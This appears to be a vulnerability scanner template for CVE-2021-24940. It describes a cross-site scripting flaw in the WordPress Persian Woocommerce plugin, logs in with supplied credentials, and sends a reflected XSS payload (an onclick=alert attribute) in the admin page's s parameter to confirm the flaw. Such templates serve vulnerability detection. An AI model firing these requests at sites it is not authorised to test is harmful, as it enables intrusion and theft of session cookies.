id: CVE-2021-24940 info: name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting author: daffainfo severity: medium description: | WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks. reference: - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f - https://nvd.nist.gov/vuln/detail/CVE-2021-24940 remediation: Fixed in 5.9.8. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24940 cwe-id: CWE-79 epss-score: 0.00119 cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 verified: true framework: wordpress vendor: woocommerce product: persian-woocommerce tags: wp,xss,authenticated,wpscan,cve,cve2021,wordpress,wp-plugin http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - contains(header_2, "text/html") - status_code_2 == 200 - contains(body_2, 'accesskey=X onclick=alert(1) test=') - contains(body_2, 'woocommerce_persian_translate') condition: and